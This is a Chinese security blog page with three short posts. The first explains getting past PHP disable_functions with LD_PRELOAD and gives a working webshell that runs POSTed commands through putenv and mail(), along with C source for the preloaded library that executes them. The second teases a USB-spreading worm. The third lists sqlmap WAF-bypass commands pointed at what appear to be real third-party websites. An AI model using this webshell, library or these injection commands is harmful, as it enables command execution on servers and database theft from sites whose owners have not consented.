老调重提,谈谈Bypass disable_function

640.png
当你插入webshell的时候,就会遇上这个问题,php.ini中,把能执行命令的函数(例如system)等,都禁掉了怎么办呢?

这时候,就可以参考之前那个

新坑预定:linux下的进程/文件隐藏

中,使用了LD_PRELOAD 环境变量。这个变量名字在当时说的很清楚了

设置了这个环境变量后,linux会优先加载这个环境变量下的动态链接库程序。

那么理论上,我们只需要找到一个会调用库函数的php内置方法,然后再上传我们的so文件,劫持这个库文件添加到LD_PRELOAD全局变量中,那么系统就会自动帮我们调用我们的so文件达到getshell的效果了。

然而前提是,你的disable_function没有禁putenv这个函数,否则以上都是空话了。

使用例子,putenv+mail函数

<?php
    $cmd = $_POST['cmd'];
    putenv("EVIL_CMDLINE=" . $cmd);
    $so_path = $_POST['so'];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
    unlink($out_path);
?>

以及对应的so文件:reinstall.rar
代码如下:

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

其实知晓原理我们自己编写一份也挺简单的,先找到目标函数,去github/各种地方找到函数的原型,因为这次我们不是要HOOK而是直接getshell,原功能可以废弃,所以可以直接把内部实现方法掏空,替换成我们需要执行命令的代码,只需要请求参数和返回参数相同,不让程序崩溃,那么效果就可以达到了。详情可以参考我上面给出的那个连接

Tags: php

挖坑:简易"多态" "摆渡"蠕虫

标题用了几个看起来很酷炫的外来词汇,实际上就是个自修改+一个物理设备攻击而已emmmm

说起来明明用英文更帅一些为啥我用的是中文呢(谁叫我英语差hhhhh

灵感源自于非常早以前的文件夹exe病毒。之前也写过,但是并没有在意,因为那是14年左右我还没有理解过真正的内网同时小看了物理设备的威力。

开始挖坑,希望开学之前能填完

Tags: none

SQLMAP的几个WAF绕过方法

虽然烂大街了但是还是发一下把

WAF/IPS/IDS identified as 'ASP.NET RequestValidationMode (Microsoft)'

sqlmap -u "http://member.niceloo.com/Project/ClassSearch.aspx?KeyWord=消防" --hpp -v3 -tamper "charunicodeencode.py,charencode.py" --thre
ad 10 --dbs

WAF/IPS/IDS identified as 'Generic (Unknown)'

C:\Users\Administrator>sqlmap -u "http://66123123.com/Goods/GoodsSearch?keyword=复印纸" --hpp -v3 -tamper "charunicodeencode.py,charencode.py,space2comment" --random-agent --flush-session --hex --thread 10

WAF/IPS/IDS identified as 'Jiasule Web Application Firewall (Jiasule)'

WAF/IPS/IDS identified as 'Safedog Web Application Firewall (Safedog)'

http://fans.sports.qq.com/post.htm?id=1602852759616356425&mid=62+#1_allWithElite

WAF/IPS/IDS identified as 'WebKnight Application Firewall (AQTRONIX)'

Tags: none